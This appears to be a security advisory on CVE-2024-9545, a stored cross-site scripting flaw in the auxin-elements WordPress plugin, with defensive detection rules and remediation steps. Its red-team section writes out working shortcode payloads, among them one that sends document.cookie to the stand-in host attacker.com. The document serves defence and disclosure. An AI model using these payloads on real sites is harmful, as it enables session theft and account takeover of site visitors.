CVE-2024-9545

Executive Summary

CVE-2024-9545 is a Stored Cross-Site Scripting (XSS) vulnerability in the Shortcodes and extra features for Phlox theme WordPress plugin (auxin-elements). The flaw exists in the aux_contact_box and aux_gmaps shortcodes, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts that execute when any user visits the compromised page. The CVSS score is 6.4 (Medium), and no public exploit or patch is currently available. This vulnerability is specific to the WordPress ecosystem and affects the Phlox theme plugin.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – Attacker needs contributor-level access.
• User Interaction (UI): Required (R) – Victim must visit the injected page.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored nature of the XSS means any visitor to the affected page is at risk.

Deep Dive & Mechanics

The vulnerability resides in the aux_contact_box and aux_gmaps shortcodes provided by the auxin-elements plugin. These shortcodes accept user-defined attributes (e.g., title, address, latitude, longitude) that are rendered directly into the page HTML without proper sanitization or output escaping. An attacker with contributor-level access can create or edit a post/page and insert a malicious shortcode like:

[aux_contact_box title="<script>alert('XSS')</script>"]

When the page is rendered, the injected script executes in the context of the victim's browser. The vulnerability is stored because the malicious shortcode is saved in the WordPress database and executed on every subsequent page load.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.17.0): The plugin likely uses echo or print to output shortcode attributes without escaping. For example:

echo '<div class="aux-contact-box" title="' . $atts['title'] . '">';

Patched Code (Hypothetical): A proper fix would use WordPress's esc_attr() or wp_kses() functions:

echo '<div class="aux-contact-box" title="' . esc_attr($atts['title']) . '">';

Exploitation & Lab Setup

Red Team

1. Prerequisites: WordPress instance with auxin-elements plugin <= 2.17.0, contributor-level account.

2. Steps:

   • Log in as a contributor.
   • Create a new post or edit an existing one.
   • Insert the following shortcode into the content:

     [aux_contact_box title="<script>alert(document.cookie)</script>"]
     

   • Publish or save the post.
   • When any user (including admin) visits the post, the script executes.

3. Advanced Payload: Steal cookies:

   [aux_contact_box title="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]
   

Blue Team

1. Detection: Monitor for posts containing suspicious shortcode attributes (e.g., <script>, onerror=, javascript:).
2. Prevention: Disable the plugin until a patch is applied. Use a Web Application Firewall (WAF) to block XSS payloads in shortcode attributes.
3. Response: If compromised, remove the malicious shortcode from the database and rotate all user sessions.

Indicators of Compromise (IOCs)

• File: wp-content/plugins/auxin-elements/ (version <= 2.17.0)
• Database: Posts/pages containing shortcodes with script tags or event handlers in attributes.
• Network: Outbound requests to attacker-controlled domains from WordPress admin pages.
• Logs: WordPress audit logs showing post creation/editing by contributor accounts with unusual shortcode usage.

Detection Engineering

YARA Rule

rule CVE_2024_9545_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in auxin-elements shortcodes"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-9545"
    strings:
        $shortcode1 = "[aux_contact_box" ascii nocase
        $shortcode2 = "[aux_gmaps" ascii nocase
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $event_handler = /on\w+\s*=\s*['"][^'"]*['"]/i
    condition:
        ($shortcode1 or $shortcode2) and ($xss_payload or $event_handler)
}

Sigma Rule

title: CVE-2024-9545 Stored XSS in auxin-elements Shortcodes
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS payloads in auxin-elements shortcodes
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains:
            - '[aux_contact_box'
            - '[aux_gmaps'
        http.url|re: '<script[^>]*>.*</script>'
    condition: selection
falsepositives:
    - Legitimate use of shortcodes with safe attributes
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-9545 Stored XSS in auxin-elements Shortcodes"; flow:to_server,established; content:"[aux_contact_box"; nocase; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the auxin-elements plugin until a patch is released.
2. Short-term: Restrict contributor-level accounts and review all posts for suspicious shortcode usage.
3. Long-term: Apply the vendor patch when available. Implement input validation and output escaping for all shortcode attributes.
4. Compensating Controls: Use a WAF with XSS rules, enable Content Security Policy (CSP) headers, and enforce strict user role permissions.

Valters IT
DevSecOps & Cyber Threat Intelligence